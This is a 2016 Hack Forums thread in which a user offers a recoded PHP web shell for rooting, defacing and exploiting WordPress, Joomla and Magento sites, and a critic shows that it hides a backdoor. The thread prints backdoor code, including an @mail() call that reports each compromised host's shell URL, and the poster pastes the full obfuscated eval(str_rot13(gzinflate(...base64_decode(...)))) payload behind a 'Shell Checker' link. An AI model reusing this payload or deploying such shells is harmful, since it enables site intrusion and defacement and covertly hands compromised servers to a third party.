PRIV8 SHELL RECODED BY ME - UNDETECTABLE / NO LOG / NO ENCRYPT

PRIV8 SHELL RECODED BY ME - UNDETECTABLE / NO LOG / NO ENCRYPT - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: PRIV8 SHELL RECODED BY ME - UNDETECTABLE / NO LOG / NO ENCRYPT (/showthread.php?tid=5365591)

PRIV8 SHELL RECODED BY ME - UNDETECTABLE / NO LOG / NO ENCRYPT - --00-- - Aug 6, 2016

Here is the newest shell for exploiting, have a lot function

root , deface , symlink bypass, magento, wordpress, joomla, and many more.

the shell is not encrpyt so you can check there's no log script :)

enjoy it

pastebin com/snVKmNw6

* - Kashmiri Hunter - Aug 6, 2016

Oh Good.Thanks For Sharing.

* - r421x0 - Aug 6, 2016

eco 'center--00-- Shellhr>IndoXploit Shell Recoded By --00--br>For More Script Visit a href"http://cr1p.blogspot.com/">Here</>'

https://1.bp.blogspot.com/-Y7eA8dRMlHs/VzcWdGHOdGI/AAAAAAAABrw/JnWtGSYYMPgHtbnXmO3AHqdMB2dnH0npACLcB/s1600/Screenshot_2.png

???? i am assuming you do not own that site right lol

* - surelyenough - Aug 7, 2016

But there is a log script, it's backdoored you fucking meme.
this shell is a butchered version of http://pastebin.com/nC6pWh5a which is the official IndoXploit shell. However unlike IndoXploit your shitty bootleg shell on line 668 contains a series of decoding functions. Specifically: str_rot13, gzinflate, str_rot13, base64_decode.
After decoding them, you'd want to look at

Code

if (!empty($theurl)) {

            @mail("[email protected]", $judul, $body);

        }

variables $judul and $body being a string containing "shell: $url" $url being the function parameter that is the $host. $theurl will always be empty, you're calling the function with a parameter thus the condition will always be met. You get the idea.
Files to be created on dirname(__FILE__) are also sampah.txt and hasil.txt viewed on both instances of variable $fh. They contain the current URL of the shell.

Also unlike IndoXploit, in your shitty code in function CreateTools() at line 218 defines backdooring variables and never uses them. What? Is this an after-thought? Did you plan a second backdoor and forgot to use it?

Code 
$a= "".$_SERVER['SERVER_NAME']."";

$b= dirname($_SERVER['PHP_SELF']);

$c = "/00_tools/".$names.".php";

This is really fucking with me because I hate stupid useless code and I usually have low self-esteem which means I'm only calling bullshit if I look at a script for half a hour at least and only then I start to question if I'm the idiot or the coder is the idiot. Your horrible coding habits made the implants stand in awfully easy. You're not only stealing someone else's work, you're also backdooring it with horrible horrible sub-par PHP scripting abilities. You're the worst, desu.

NOTE TO ANY WEBSEC BEGINNERS:
NEVER USE ANY SHELLS YOU DID NOT CODE
IF YOU CAN NOT CONFIRM ITS CLEAN DONT USE IT
But for your pleasure, there's a good one that is confirmed clean.
https://hackforums.net/showthread.php?tid=2610338

* - --00-- - Aug 7, 2016

its not my website, but i just recode. dude i test it and no log inside. you found in another shell not the shell that i share.

* - surelyenough - Aug 7, 2016

(Aug 7, 2016 03:20 AM)--00-- Wrote: its not my website, but i just recode. dude i test it and no log inside. you found in another shell not the shell that i share.

[Image: tumblr_inline_o4ts2e1KWn1skta4k_400.png]

[img]http://cdn.instructables.com/FXN/NQ0R/I8H66O05/FXNNQ0RI8H66O05.LARGE.gif[/img]
[Image: tumblr_inline_o4bf3hlf3a1u0l8t5_540.jpg]

This is the shell you shared: pastebin.com/snVKmNw6
Go to line 668 and decode it. Tell me what you got.

OP is a confirmed memer
googling his email leads you to another tool he backdoored and tried to pass off as a tool elsewhere
http://ddecode.com/phpdecoder/?results=17c85a31e1cb63256d226e0356c517c6
it also leads to his deface: http://pastebin.com/raw/6JA72K8m #IndonesianCodeParty kek
this can't possibly get any worse

* - --00-- - Aug 7, 2016

yes bro but its only when they access ?do=shellchk

elseif($_GET['do'] == 'shellchk') {
eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhPaygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjRIiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSeYK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
}

* - surelyenough - Aug 7, 2016

(Aug 7, 2016 03:53 AM)--00-- Wrote: yes bro but its only when they access ?do=shellchk

elseif($_GET['do'] == 'shellchk') {
eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhPaygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjRIiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSeYK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
}

Yes, and they do that once they press the shell checker feature

Code 
echo "<li>[ <a href='?dir=$dir&do=shellchk'>Shell Checker</a> ]</li>";

please stop this is hurting both you and me
you've already been exposed, there is no point playing the retard game
because you already won it
leave this forum willingly before I report the thread and have you leave unwillingly, thanks